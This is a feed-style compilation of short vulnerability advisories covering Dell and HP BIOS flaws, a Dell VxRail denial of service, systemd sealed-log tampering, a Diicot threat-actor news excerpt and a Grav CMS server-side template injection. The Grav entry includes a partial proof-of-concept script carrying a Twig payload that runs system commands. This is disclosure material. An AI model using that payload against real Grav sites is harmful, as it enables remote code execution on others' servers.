Dell BIOS contains an improper authentication vulnerability. A locally authenticated malicious user may potentially exploit this vulnerability by bypassing certain authentication mechanisms in order to elevate privileges on the system.

Dell BIOS contains an improper input validation vulnerability. A local authenticated malicious user with administrator privileges may potentially exploit this vulnerability in order to modify a UEFI variable.

Dell VxRail, version(s) 8.0.100 and earlier contain a denial-of-service vulnerability in the upgrade functionality. A remote unauthenticated attacker could potentially exploit this vulnerability, leading to degraded performance and system malfunction.

Cybersecurity researchers have discovered previously undocumented payloads associated with a Romanian threat actor named Diicot, revealing its potential for launching distributed denial-of-service (DDoS) attacks. "The Diicot name is significant, as it's also the name of the Romanian organized crime and anti-terrorism policing unit," Cado Security said in a technical report. "In addition,

### Summary I found an RCE(Remote Code Execution) by SSTI in the admin screen. ### Details Remote Code Execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges. ### PoC 1. Log in to the administrator screen and access the edit screen of the default page "Typography". (`http://127.0.0.1:8000/admin/pages/typography`) 2. Open the browser's console screen and execute the following JavaScript code to confirm that an arbitrary command (`id`) is being executed. ```js (async () => { const nonce = document.querySelector("input[name=admin-nonce]").value; const id = document.querySelector("input[name=__unique_form_id__]").value; const payload = "{{['id']|map('system')|join}}"; // SSTI Payload const params = new URLSearchParams(); params.append("task", "save"); params.append("data[header][title]", "poc"); params.append("data[content]", payload); params.append("data[folder]", "poc"); params.append("data[route]", "...

Grav is a file-based Web platform. Versions prior to 1.7.42 are vulnerable to server side template injection. Remote code execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges. Version 1.7.42 contains a fix for this issue.

Potential vulnerabilities have been identified in the system BIOS of certain HP PC products, which might allow arbitrary code execution, escalation of privilege, denial of service, and information disclosure.

Potential time-of-check to time-of-use (TOCTOU) vulnerabilities have been identified in the BIOS for certain HP PC products, which might allow arbitrary code execution, escalation of privilege, denial of service, and information disclosure.

An issue was discovered in systemd 253. An attacker can modify the contents of past events in a sealed log file and then adjust the file such that checking the integrity shows no error, despite modifications.
